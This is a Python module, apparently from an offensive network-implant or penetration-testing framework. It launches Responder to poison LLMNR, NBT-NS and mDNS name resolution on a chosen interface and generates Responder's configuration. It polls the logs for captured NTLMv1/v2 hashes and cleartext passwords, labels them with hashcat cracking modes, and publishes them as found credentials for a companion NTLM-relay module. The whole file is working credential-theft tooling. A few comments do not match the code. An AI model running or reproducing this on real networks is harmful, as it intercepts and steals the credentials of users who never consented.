#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.

Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.

Resources: ~30MB RAM, ~3% CPU
"""

import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
    r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)

# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
    r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
    r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)

NTLMV1_REGEX = re.compile(
    r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
    r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)


class ResponderManager(BaseModule):
    """Responder subprocess manager with hash capture monitoring.

    Dependencies:
        - Responder installed at /opt/tools/Responder

    Configuration:
        responder_path: Path to Responder directory
        interface: Network interface
        protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
        relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
    """

    name = "responder_mgr"
    module_type = "active"
    priority = 150
    requires_root = True

    HASH_POLL_INTERVAL = 10  # seconds

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._proc: Optional[subprocess.Popen] = None
        self._hash_thread: Optional[threading.Thread] = None
        self._responder_path = config.get("responder_path", "/opt/tools/Responder")
        self._iface = config.get("interface", "eth0")
        self._log_dir = os.path.join(self._responder_path, "logs")
        self._captured_hashes: list = []
        self._hashes_lock = threading.Lock()
        self._seen_hashes: set = set()  # Dedup set
        self._relay_targets: set = set()  # IPs excluded from SMB for relay
        self._protocols = {
            "LLMNR": True,
            "NBT-NS": True,
            "mDNS": True,
            "HTTP": True,
            "SMB": True,
            "WPAD": True,
            "FTP": False,
            "POP": False,
            "IMAP": False,
            "SMTP": False,
            "LDAP": False,
        }
        self._template_dir = config.get(
            "template_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
        )

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        if not os.path.isdir(self._responder_path):
            logger.error("Responder not found at %s", self._responder_path)
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("ResponderManager started (ready to launch Responder)")

    def stop(self) -> None:
        if not self._running:
            return

        self.stop_responder()
        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("ResponderManager stopped")

    def status(self) -> dict:
        proc_alive = self._proc is not None and self._proc.poll() is None
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "responder_running": proc_alive,
            "responder_pid": self._proc.pid if proc_alive else None,
            "captured_hash_count": len(self._captured_hashes),
            "interface": self._iface,
            "relay_targets": list(self._relay_targets),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "interface" in config:
            self._iface = config["interface"]
        if "relay_targets" in config:
            self._relay_targets = set(config["relay_targets"])
        if "protocols" in config:
            self._protocols.update(config["protocols"])

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def start_responder(self, protocols: dict = None) -> bool:
        """Start Responder with configured protocols.

        Args:
            protocols: Optional dict overriding default protocol toggles.

        Returns:
            True if Responder was started.
        """
        if not self._running:
            logger.error("ResponderManager not started")
            return False

        if self._proc and self._proc.poll() is None:
            logger.warning("Responder already running (pid=%d)", self._proc.pid)
            return True

        if protocols:
            self._protocols.update(protocols)

        # Generate Responder.conf from template
        self._write_responder_conf()

        # Build command
        responder_py = os.path.join(self._responder_path, "Responder.py")
        if not os.path.isfile(responder_py):
            logger.error("Responder.py not found at %s", responder_py)
            return False

        cmd = ["python3", responder_py, "-I", self._iface, "-v"]

        # Add protocol flags based on what we want DISABLED
        if not self._protocols.get("WPAD"):
            cmd.append("-w")  # -w disables WPAD in newer Responder versions
        # Responder's flags are for disabling features, not enabling them
        # The .conf file controls which services are On/Off

        try:
            self._proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                cwd=self._responder_path,
            )
            time.sleep(2)
            if self._proc.poll() is not None:
                stderr = self._proc.stderr.read().decode(errors="replace")
                logger.error("Responder failed to start: %s", stderr)
                return False

            # Start hash file monitoring thread
            self._hash_thread = threading.Thread(
                target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
            )
            self._hash_thread.start()

            logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
            return True

        except Exception:
            logger.exception("Failed to start Responder")
            return False

    def stop_responder(self) -> bool:
        """Stop the Responder subprocess.

        Returns:
            True if Responder was stopped.
        """
        if self._proc and self._proc.poll() is None:
            try:
                self._proc.terminate()
                self._proc.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self._proc.kill()
                try:
                    self._proc.wait(timeout=2)
                except Exception:
                    pass
            except Exception:
                logger.exception("Failed to stop Responder")
                return False
            finally:
                self._proc = None

        logger.info("Responder stopped")
        return True

    def get_captured_hashes(self) -> list:
        """Return all captured hashes.

        Returns:
            List of dicts with hash details.
        """
        with self._hashes_lock:
            return list(self._captured_hashes)

    def set_relay_targets(self, targets: set) -> None:
        """Set IPs that should be excluded from Responder's SMB server.

        When coordinating with ntlm_relay, Responder should not respond
        to targets that ntlmrelayx is relaying from.

        Args:
            targets: Set of IP addresses to exclude.
        """
        self._relay_targets = set(targets)
        # Regenerate config and restart if running
        if self._proc and self._proc.poll() is None:
            self._write_responder_conf()
            logger.info("Updated relay exclusion targets: %s", targets)

    # ------------------------------------------------------------------
    # Responder.conf generation
    # ------------------------------------------------------------------

    def _write_responder_conf(self) -> None:
        """Generate Responder.conf from template or defaults."""
        conf_path = os.path.join(self._responder_path, "Responder.conf")

        # Try Jinja2 template first
        template_path = os.path.join(self._template_dir, "Responder.conf.j2")
        if os.path.isfile(template_path):
            try:
                from jinja2 import Environment, BaseLoader
                with open(template_path, "r") as f:
                    template_content = f.read()
                env = Environment(loader=BaseLoader(), autoescape=True)
                tmpl = env.from_string(template_content)
                rendered = tmpl.render(
                    protocols=self._protocols,
                    relay_targets=[str(ip) for ip in self._relay_targets],
                    interface=self._iface,
                )
                with open(conf_path, "w") as f:
                    f.write(rendered)
                return
            except ImportError:
                logger.warning("Jinja2 not available — using inline config")
            except Exception:
                logger.exception("Failed to render Responder.conf template")

        # Fallback: write config directly
        smb_on = "On" if self._protocols.get("SMB") else "Off"
        http_on = "On" if self._protocols.get("HTTP") else "Off"

        conf = (
            "[Responder Core]\n\n"
            "; Servers to start\n"
            f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
            f"SMB = {smb_on}\n"
            f"RDP = Off\n"
            f"Kerberos = Off\n"
            f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
            f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
            f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
            f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
            f"HTTP = {http_on}\n"
            f"HTTPS = {http_on}\n"
            f"DNS = Off\n"
            f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
            f"DCERPC = Off\n"
            f"WinRM = Off\n"
            f"SNMP = Off\n"
            f"MQTT = Off\n"
            "\n"
            "; Custom challenge\n"
            "Challenge = Random\n"
            "\n"
            "; Set to On for downgrading to NTLMv1\n"
            "DontRespondToNames =\n"
            "\n"
        )

        with open(conf_path, "w") as f:
            f.write(conf)

    # ------------------------------------------------------------------
    # Hash capture monitoring
    # ------------------------------------------------------------------

    def _hash_monitor_loop(self) -> None:
        """Monitor Responder log directory for new hash files."""
        while self._running and self._proc and self._proc.poll() is None:
            time.sleep(self.HASH_POLL_INTERVAL)
            try:
                self._scan_hash_files()
                self._scan_session_log()
            except Exception:
                logger.exception("Hash monitor error")

    def _scan_hash_files(self) -> None:
        """Scan Responder logs/ for NTLMv1/v2 hash files."""
        if not os.path.isdir(self._log_dir):
            return

        for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
            try:
                with open(filepath, "r") as f:
                    for line in f:
                        line = line.strip()
                        if not line or line in self._seen_hashes:
                            continue
                        self._seen_hashes.add(line)
                        self._process_hash_line(line, filepath)
            except Exception:
                pass

    def _scan_session_log(self) -> None:
        """Scan Responder-Session.log for cleartext credentials."""
        session_log = os.path.join(self._log_dir, "Responder-Session.log")
        if not os.path.isfile(session_log):
            return

        try:
            with open(session_log, "r") as f:
                for line in f:
                    line = line.strip()
                    if not line or line in self._seen_hashes:
                        continue
                    # Look for cleartext credential lines
                    if "Cleartext" in line or "Password" in line:
                        self._seen_hashes.add(line)
                        self._process_cleartext_line(line)
        except Exception:
            pass

    def _process_hash_line(self, line: str, source_file: str) -> None:
        """Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
        # Determine hash type from filename
        hash_type = "ntlmv2"
        hashcat_mode = 5600
        if "NTLMv1" in source_file:
            hash_type = "ntlmv1"
            hashcat_mode = 5500

        # Parse username and domain
        match = NTLMV2_REGEX.match(line)
        if not match:
            match = NTLMV1_REGEX.match(line)
        if match:
            username = match.group("username")
            domain = match.group("domain")
        else:
            username = line.split("::")[0] if "::" in line else "unknown"
            domain = ""

        hash_entry = {
            "timestamp": time.time(),
            "username": username,
            "domain": domain,
            "hash_type": hash_type,
            "hashcat_mode": hashcat_mode,
            "hash_value": line,
            "source_file": source_file,
        }

        with self._hashes_lock:
            self._captured_hashes.append(hash_entry)

        emit_credential_found(self.bus, self.name, {
            "source_module": self.name,
            "source_ip": "",
            "target_service": "responder",
            "username": username,
            "domain": domain,
            "credential_type": hash_type,
            "credential_value": line,
            "hashcat_mode": hashcat_mode,
        })
        logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)

    def _process_cleartext_line(self, line: str) -> None:
        """Process a cleartext credential line from Responder session log."""
        emit_credential_found(self.bus, self.name, {
            "source_module": self.name,
            "target_service": "responder_cleartext",
            "credential_type": "cleartext",
            "credential_value": line,
        })
